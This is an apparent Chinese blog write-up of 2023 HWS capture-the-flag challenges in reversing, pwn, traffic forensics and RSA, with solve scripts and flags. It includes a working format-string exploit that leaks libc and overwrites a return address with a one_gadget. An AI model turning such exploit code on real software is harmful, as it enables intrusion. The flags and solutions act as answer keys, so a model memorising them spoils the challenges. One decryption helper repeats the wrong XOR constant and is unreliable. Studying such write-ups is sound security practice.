2023 HWS WP

RE

Android

程序存在有对应加固,我们不用太理会,安装到手机上,可以拿到两串字符串

大致浏览一下其应用层的东西发现基本上是创建线程,然后加密了一下字符串,同时调用了so中代码简单翻翻可以发现有sm4字样,我们合理猜测题目使用了sm4加密,则大致可以了解到我们拿到的两个字符串一个是iv一个是密钥

直接丢进去在线解密即可

Animal

程序可以直接使用爆破脚本对其进行求解,如果直接逆向分析复杂度较高,里面有大量的jz jnz构成的花指令,不如直接使用subprocess进行爆破处理

此处采用某师傅通用爆破脚本改改进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from itertools import product
from subprocess import Popen, PIPE

# 创建迭代器
char_set = "012345"
char_length = 9
all_combinations = product(char_set, repeat=char_length)

# 遍历组合并发送给进程
for combination in all_combinations:
inp = "".join(combination)
p = Popen('./main', stdin=PIPE, stdout=PIPE, stderr=PIPE, shell=True)
# 发送输入
for i in inp:
p.stdin.write(i.encode()+b'\n')
#print(i.encode())
p.stdin.close()

# 接收输出
res = p.stdout.read()
# print(res.decode('utf-8'))
res = res.decode('utf-8')

# 检查是否包含flag
if b'flag' in res:
print(inp)
break

之后可以爆破得到输入应该为:

1
051410233

之后直接MD5一下即可

E

拿到对应的程序后可以明显的发现是易语言程序,对于易语言来说程序通常带有VMP进行保护,幸运的是这个并没有,不然就回收站见了

我们可以装一个识别函数的插件,链接如下:

https://github.com/fjqisba/E-Decompiler

在使用插件之前我们需要对7.5版本的IDA进行简单的魔改,使其支持中文函数名

首先找到ida.cfg里面的NameChars,将Block_CJK_Unified_Ideographs前的注释进行删除

修改完成后我们可以进行中文命名函数了,但是因为IDA的一些设置会将中文替换为下划线,对此我们需要简单的对其进行一下patch,通过查询资料我们可以知道hexray在生成伪代码的时候会调用一个calc_c_cpp_name函数,该函数会试图针对C/C++的函数名称进行优化

我们找到IDA根目录下的ida.dllida64.dll,用IDA打败IDA的魔法 XD

加载完成后我们直接查找calc_c_cpp_name函数,我们将对应替换为下划线的部分进行patch,直接nop处理

之后保存即可

此时我们的IDA可以使用中文函数名了,再使用上述插件可以快速的恢复系统核心库的函数,但是我们任然可以看到一些三方支持库命令没有被成功识别出来,此时我们可以装一个易语言,将里面的静态库转换为IDA可以识别的sig符号文件

我们使用idaSigMaker来进行制作

我们导入eCalc_static.lib将其制作为sig文件之后导入到IDA中可以看到我们大部分函数已经被识别出来了

之后根据符号信息我们可以很清楚的理清楚对应的程序逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
Str1 = 核心支持库命令(标准输入, 1, 0, 0, 0).c;
input_addr = Str1;
if...
lpMem_input = input_addr;
v6 = input_addr;
if...
Str1 = 核心支持库命令(取文本长度, 1, v6, 0, 0x80000004).c;
*Str2 = Str1;
*v62 = *Str2 / 2.0;
v31 = 浮点数转长整数(*v62);
input_index = lpMem_input;
if...
v8 = 核心支持库命令(取文本左边, 2, input_index, 0, 0x80000004, v31, 0, 0x80000301).c;
v61 = v8;
if...
v60 = 核心支持库命令(到字节集, 1, v8, 0, 0x80000004).c;// 将输入的左半边转为char*字符串列表
if...
v56 = v60;
if...
v72 = v56;
input_left = v56;
if...
v10 = 核心支持库命令(取字节集长度, 1, input_left, 0, 0x80000005).c;// 猜测flag为32字节
for ( i = 0; ; i = v57 )
{
v57 = i + 1;
sign_1 = i + 1;
v32 = v10;
if ( i + 1 > v10 )
break;
Str1 = v72 + 4 * *v72 + sign_1 + 3;
Str2[1] = v72 + 4 * *v72 + sign_1 + 3;
Str2[0] = 核心支持库命令(左移, 2, *Str2[1], 0, 0x80000301, 1, 0, 0x80000301).c;
v62[1] = 核心支持库命令(位异或, 2, Str2[0], 0, 0x80000301, 0xBF, 0, 0x80000301).c;
v62[0] = 核心支持库命令(右移, 2, v62[1], 0, 0x80000301, 1, 0, 0x80000301).c;
*Str1 = v62[0];
v10 = v32;
}
v12 = v72;
if...
enc_input = 核心支持库命令(到文本, 1, v12, 0, 0x80000005).c;// 将加密后的数据转char*
Str1 = enc_input; // 将加密后的数据指针给Str1
if...
三方支持库命令(ecalc_fnUnlNumImportString, 2, res, 0, 0x2000A, enc_input, 0, 0x80000004);// 检测输入
if ( Str1 )
释放内存(Str1);
Str1 = 三方支持库命令(ecalc_fnUnlNumExportString, 1, res, 0, 0x2000A).c;// 判断结束
v14 = v72;
if...
Str2[1] = 核心支持库命令(到文本, 1, v14, 0, 0x80000005).c;// 加密后数据
Str2[0] = (文本比较(Str1, Str2[1]) == 0);
if...
if...
if...
j = 0x80000004;
v17 = lpMem_input;
if...
Str1 = 核心支持库命令(取文本长度, 1, v17, 0, j).c;
*Str2 = Str1;
*v62 = *Str2 / 2.0;
v18 = 浮点数转长整数(*v62);
j = -2147482879;
v41 = v18;
v19 = lpMem_input;
if...
v20 = 核心支持库命令(取文本右边, 2, v19, 0, 0x80000004, v41, 0, j).c;
v61 = v20;
j = 0x80000004;
if...
v60 = 核心支持库命令(到字节集, 1, v20, 0, j).c;
if...
j = v60;
if...
v72 = j;
j = 0x80000005;
v21 = v72;
if...
v22 = 核心支持库命令(取字节集长度, 1, v21, 0, j).c;
v23 = 0;
for ( j = v22; ; v23 = j )
{
j = v23 + 1;
sign_2 = v23 + 1;
v42 = v22;
if ( v23 + 1 > v22 )
break;
Str1 = v72 + 4 * *v72 + sign_2 + 3; // 取第一个字符
Str2[1] = v72 + 4 * *v72 + sign_2 + 3; // 取第二个字符
Str2[0] = 核心支持库命令(左移, 2, *Str2[1], 0, 0x80000301, 1, 0, 0x80000301).c;
v62[1] = 核心支持库命令(位异或, 2, Str2[0], 0, 0x80000301, 0x81, 0, 0x80000301).c;
v62[0] = 核心支持库命令(右移, 2, v62[1], 0, 0x80000301, 1, 0, 0x80000301).c;
*Str1 = v62[0];
v22 = v42;
}
j = 0x80000005;
v24 = v72;
if...
v25 = 核心支持库命令(到文本, 1, v24, 0, j).c;
Str1 = v25;
j = 0x80000004;
if...
三方支持库命令(ecalc_fnUnlNumImportString, 2, v66, 0, 0x2000A, v25, 0, j);
if...
Str1 = 三方支持库命令(ecalc_fnUnlNumExportString, 1, v66, 0, 0x2000A).c;
j = 0x80000005;
v26 = v72;
if...
Str2[1] = 核心支持库命令(到文本, 1, v26, 0, j).c;
Str2[0] = (文本比较(Str1, Str2[1]) == 0);
if...
if...
if...
v28 = sign_1 == 800
&& sign_2 == 900
&& 三方支持库命令(ecalc_fnUnlNumEqualThan, 2, res, 0, 0x2000A, v68, 0, 0x2000A).c
&& 三方支持库命令(ecalc_fnUnlNumEqualThan, 2, v66, 0, 0x2000A, v68, 0, 0x2000A).c;
v62[0] = v28;
if ( v28 )
output = "right";
else
output = "wrong";
v61 = output;
j = 0x80000004;
if...
核心支持库命令(标准输出, 2, 0, 0, 0, output, 0, j);

整理可以得到其要求我们输入数据后会分为左右两个部分进行处理

1
2
3
4
5
6
7
8
9
10
11
12
def enc_left(s):
for i in range(0,len(s),2):
s[i] = s[i] << 1
s[i] ^= 0xBF
s[i] = s[i] >> 1


def enc_right(s):
for i in range(0,len(s),2):
s[i] = s[i] << 1
s[i] ^= 0xBF
s[i] = s[i] >> 1

之后进行一个易语言中的大数运算,我们可以写一个易语言计算的例子进行分析对应的数据信息

使用静态编译我们拖入IDA,通过调试来进行观察v3数据的存储方式

此处不知道为什么IDA莫名的调试不上,于是采用OD进行调试

我们访问[ebp-8]位置处数据可以看到一个偏移地址

我们访问对应的地址信息,跳转到0x01471030地址处信息,我们可以在0x18处同样发现一个偏移信息

我们继续访问对应地址偏移0x014710F0,我们可以拿到一个数0x08B5D623以及一个偏移0x01471068

我们访问对应偏移0x01471068,又可以拿到一个数据0x0006F5C4

我们现在拿到了两个数据0x08B5D6230x0006F5C4,我们将其分别记为D1D2,我们简单测试一下对应的计算关系可以得到如下公式
$$
Num =D1 + D2 * 10^9
$$

D1 为低位、D2 为高位

之后我们可以明确的得到大数部分对应的计算过程为

1
2
3
4
5
6
Str1 = v69 * 0x70955fc45 
Str2[1] = Str1 * v69
Str2[0] = v69 * 0x34ED1CCB
v62[1] = Str2[0] + 0x0D1558
v62[0] = Str2[1] + v62[1]
v61 = v70 - v62[0]

整理一下可以得到如下计算式

1
v61 = v70 - (v69 * 0x70955fc45 * v69 + v69 * 0x34ED1CCB + 0x0D1558)

v69为对应的循环变量,我们如果需要得到v70则将其进行累加回去即可

不过相应的题目存在一定的问题,在地址0x40157A处的汇编add esp, 1Ch在清理栈的时候多清理了四字节,会导致原先左半部分的check位丢失

因为多处理了栈上的四个字节进而导致了原来的[ebp+left_check]值被丢弃,而运行至0x4017D1g后,不能够pop正确的[ebp+left_check]值,而导致给EBX值为循环计数的值,而引发读写异常。

同时我们可以看到其push了一个0x90900320,类推可以知道其与右侧加密流程是相同的大数运算,但是没有出现应该有的计数器

不过大致还是可以通过右侧的计算进行调试来进行类推处理

逆向三分靠逆,七分靠猜

之后我们按照其逻辑便可以理清楚其流程为对我们的输入进行移位异或操作后得到的一串字符串,判断字符串是否由数字进行组成,随后进行大数运算,最后进行判断是否与目标值相等

我们解密脚本则有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# 对照表
left_dic = {
'9':'f',
'8':'g',
'7':'h',
'6':'i',
'5':'j',
'4':'k',
'3':'l',
'2':'m',
'1':'n',
'0':'o',
}
right_dic = {
'9':'y',
'8':'x',
'7':'w',
'6':'v',
'5':'u',
'4':'t',
'3':'s',
'2':'r',
'1':'q',
'0':'p',
}

def enc_left(s):
for i in range(0,len(s),2):
s[i] = s[i] << 1
s[i] ^= 0xBF
s[i] = s[i] >> 1


def enc_right(s):
for i in range(0,len(s),2):
s[i] = s[i] << 1
s[i] ^= 0xBF
s[i] = s[i] >> 1

v70 = 0
for v69 in range(1,801):
v70 = v70 + (v69 * 0x70955fc45 * v69 + v69 * 0x34ED1CCB + 0x0D1558)

for i in str(v70):
print(left_dic[i],end='')

v70 = 0
for v69 in range(1, 901):
v70 = v70 + (v69 * 0x70955fc45 * v69 + v69 * 0x34ED1CCB + 0x0D1558)

for i in str(v70):
print(right_dic[i],end='')

# jnihhkjnhihomhmhmoowsuvtptwpsxpxrpxqpp
# flag{jnihhkjnhihomhmhmoowsuvtptwpsxpxrpxqpp}

PWN

FMT

由题目可以猜测是格式化字符串漏洞,简单分析文件,可以发现存在格式化字符串漏洞,但是保护全开,即不能改got表,考虑修改返回地址

1
2
3
4
5
6
7
8
9
10
11
12
  v2 = __readfsqword(0x28u);
printf("I need a str: ");
read_n((__int64)s1, 80);
if ( !strcmp(s1, "EXIT") )
exit(0);
printf(s1);
putchar('\n');
printf("I need other str: ");
read_n((__int64)s1, 80);
printf(s1);
return __readfsqword(0x28u) ^ v2;
}

先泄露libc地址,然后再ret覆盖为onegadget即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def exploit():

pl = "%21$p%14$p"
sla("I need a str: ",pl)
buf = ru("0x")
libc_base = int(r(12),16) - libc.symbols['__libc_start_main'] - 243
print("libc_base ------> %s" %hex(libc_base))
buf = ru("0x")
stack_ret = int(r(12),16) + 0x8
print("stack_ret ------> %s" %hex(stack_ret))

offset = 6
onegadget = 0xe3b01 + libc_base
pad = fmtstr_payload(offset, {stack_ret:onegadget}, write_size="short")
sla("I need other str: ",pad)

MISC

USB

USB流量无非就是那几种东西,键盘、鼠标通常为考察点,我们将对应的流量包打开可以看到相应的数据信息是 8 字节合理猜测是键盘流量信息

我们简单观察一下发现应该是提取2.3.1的数据,我们单独将其进行过滤,用tshark进行提取

1
2
tshark.exe -T json -r 231.pcapng > usb.json
cat usb.json | grep "usbhid.data"

之后我们便可以得到相应的数据信息,直接运行对应脚本即可,来源:

1
https://github.com/p0ise/pcap2text/blob/main/pcap2text.py

之后可以得到一串奇怪的字符串,将其Base 85解密后可以得到对应的flag

image-20230715141526304

Crypto

RSA

D3CTF 2022 同款题型,直接套上 WP 用segemath

2022 D^3ctf密码题赛后复现(ing) | Lorlike’s Blog

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Util.number import *
from gmpy2 import *

N=26989781630503676259502221325791347584607522857769579575297691973258919576768826427059198152035415835627885162613470528107575781277590981314410130242259476764500731263549070841939946410404214950861916808234008589966849302830389937977667872854316531408288338541977868568209278283760692866116947597445559763998608870359453835826711179703215320653445704522573070650642347871171425399227090705774976383452533375854187754721093890020986550939103071021619840797519979671188117673303672023522910200606134989916541289908538417562640981839074992935652363458747488201289997240226553340491203815779083605965873519144351105635977
c=15608493359172313429111250362547316415137342033261379619116685637094829328864086722267534755459655689598026363165606700718051739433022581810982230521098576597484850535770518552787220173105513426779515790426303985414120033452747683669501078476628404455341179818932159581239994489678323564587149645006231756392148052557984581049067156468083162932334692086321511063682574943502393749684556026493316348892705114791740287823927634401828970155725090197482067045119003108806888768161101755244340832271562849138340706213702438667804460812804485276133545408754720942940596865774516864097546006862891145251661268265204662316437
e=65537
e1=8334176273377687778925968652923982846998724107624538105654894737480608040787164942908664678429487595866375466955578536932646638608374859799560790357357355475153852315429988251406716837806949387421402107779526648346112857245251481791000156326311794515247012084479404963628187413781724893173183595037984078029706687141452980915897613598715166764006079337996939237831127877822777298891345240992224457502307777453813403723860370336259768714433691700008761598135158249554720239480856332237245140606893060889458298812027643186014638882487288529484407249417947342798261233371859439003556025622531286607093086262182961900221
e2=22291783101991466901669802811072286361463259096412523019927956845014956726984633944311563809077545336731345629003968417408385538540199052480763352937138063001691494078141034164060073208592072783644252721127901996835233091410441838546235477819239598146496144359952946239328842198897348830164467799618269341456666825968971193729838026760012332020223490546511437879465268118749332615890600046622926159177680882780495663448654527562370133394251859961739946007037825763819500955365636946510343942994301809125029616066868596044885547005547390446468651797783520279531291808102209463733268922901056842903640261702268483580079

PR.<x> = PolynomialRing(Zmod(N))
f=e1*e2*x-e2+e1
f=f.monic()
x0=f.small_roots(X=2^1000,beta=0.75)[0]
p_6=gcd(int(f(x0)),N)
p=iroot(p_6,6)[0]
q=N//(p^7)

print(d)
print(q)
print(p)

拿到p、q、d后直接正常RSA求解即可

1
flag{RSA_1s_s0_ez_4nd_hwser_c4n_bre4k_1t!}

2023 HWS WP
https://equinox-shame.github.io/2023/07/19/HWS-2023/
作者
梓曰
发布于
2023年7月19日
许可协议